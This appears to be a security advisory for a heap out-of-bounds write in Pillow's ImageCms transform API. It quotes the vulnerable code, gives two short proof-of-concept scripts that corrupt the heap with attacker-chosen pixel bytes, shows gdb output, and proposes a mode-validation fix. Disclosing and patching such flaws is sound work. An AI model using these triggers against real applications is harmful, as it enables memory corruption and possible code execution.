Pillow's public ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger
controlled native heap corruption when the caller supplies an output image whose
mode does not match the transform's declared output mode.
For example, a transform built as RGBA -> RGBA can be applied to an L output
image. Pillow checks dimensions only, then calls LittleCMS with the output row
pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel L image row.
src/PIL/ImageCms.py:ImageCmsTransform.apply() accepts an optional caller
supplied imOut:
def apply(self, im, imOut=None):
if imOut is None:
imOut = Image.new(self.output_mode, im.size, None)
self.transform.apply(im.getim(), imOut.getim())
imOut.info["icc_profile"] = self.output_profile.tobytes()
return imOut
If imOut is provided, Pillow does not check:
im.mode == self.input_mode
imOut.mode == self.output_mode
The C wrapper in src/_imagingcms.c unwraps both image cores and only checks
that the output dimensions are at least as large as the input dimensions:
static int
pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
return -1;
}
for (i = 0; i < im->ysize; i++) {
cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);
}
pyCMScopyAux(hTransform, imOut, im);
return 0;
}
findLCMStype() maps RGB, RGBA, and RGBX transform modes to LittleCMS
TYPE_RGBA_8, which writes 4 bytes per pixel:
case IMAGING_MODE_RGB:
case IMAGING_MODE_RGBA:
case IMAGING_MODE_RGBX:
return TYPE_RGBA_8;
So with a transform declared as RGBA -> RGBA, LittleCMS writes 4 * width
bytes to each output row. If the supplied output image is mode L, Pillow only
allocated 1 * width bytes for that row.
For width 4096:
destination row allocation: 4096 bytes
LittleCMS write size: 16384 bytes
overflow: ~12288 bytes past the row
The bug does not require a large image. Width 8 was enough to corrupt heap
metadata. At width 8, apply() returned to Python and printed after; glibc
detected the corrupted heap later during cleanup.
Tiny heap corruption trigger:
from PIL import Image, ImageCms
srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)
print("before", flush=True)
transform.apply(im, out)
print("after")
Observed locally on Pillow 12.3.0.dev0:
before
after
free(): invalid next size (normal)
Aborted (core dumped)
Controlled overwrite evidence PoC:
from PIL import Image, ImageCms
srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (4096, 1), 0)
transform.apply(im, out)
Run under gdb:
gdb -q --batch -ex run -ex bt --args \
python3 b022_controlled.py
Observed on Pillow 12.3.0.dev0:
Program received signal SIGSEGV, Segmentation fault.
___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)
#1 _cmsLockPrimitive (m=0x4443424144434241)
#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)
#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)
#4 cmsSaveProfileToIOhandler(...)
#5 cmsSaveProfileToMem(...)
#6 cms_profile_tobytes (...) at src/_imagingcms.c:152
0x4443424144434241 is the attacker-controlled source pixel pattern
b"ABCDABCD" interpreted as a little-endian pointer-sized value.
Using source pixels (1, 2, 3, 4) similarly produced a faulting pointer of
0x403020104030201, matching the repeated pixel bytes.
This is a heap out-of-bounds write in Pillow's native ImageCms extension, reachable through public API.
Applications are impacted if untrusted users can control ImageCms transform
parameters and/or provide the output image object passed to
ImageCmsTransform.apply(). The source image pixels influence the bytes written
out of bounds.
Validate modes before calling into the native transform:
def apply(self, im, imOut=None):
if im.mode != self.input_mode:
raise ValueError("input mode mismatch")
if imOut is None:
imOut = Image.new(self.output_mode, im.size, None)
elif imOut.mode != self.output_mode:
raise ValueError("output mode mismatch")
self.transform.apply(im.getim(), imOut.getim())
imOut.info["icc_profile"] = self.output_profile.tobytes()
return imOut
The C extension should also defensively reject mismatched image modes before
calling cmsDoTransform().
{
"cwe_ids": [
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T23:19:00Z",
"nvd_published_at": "2026-07-14T16:17:02Z",
"severity": "HIGH"
}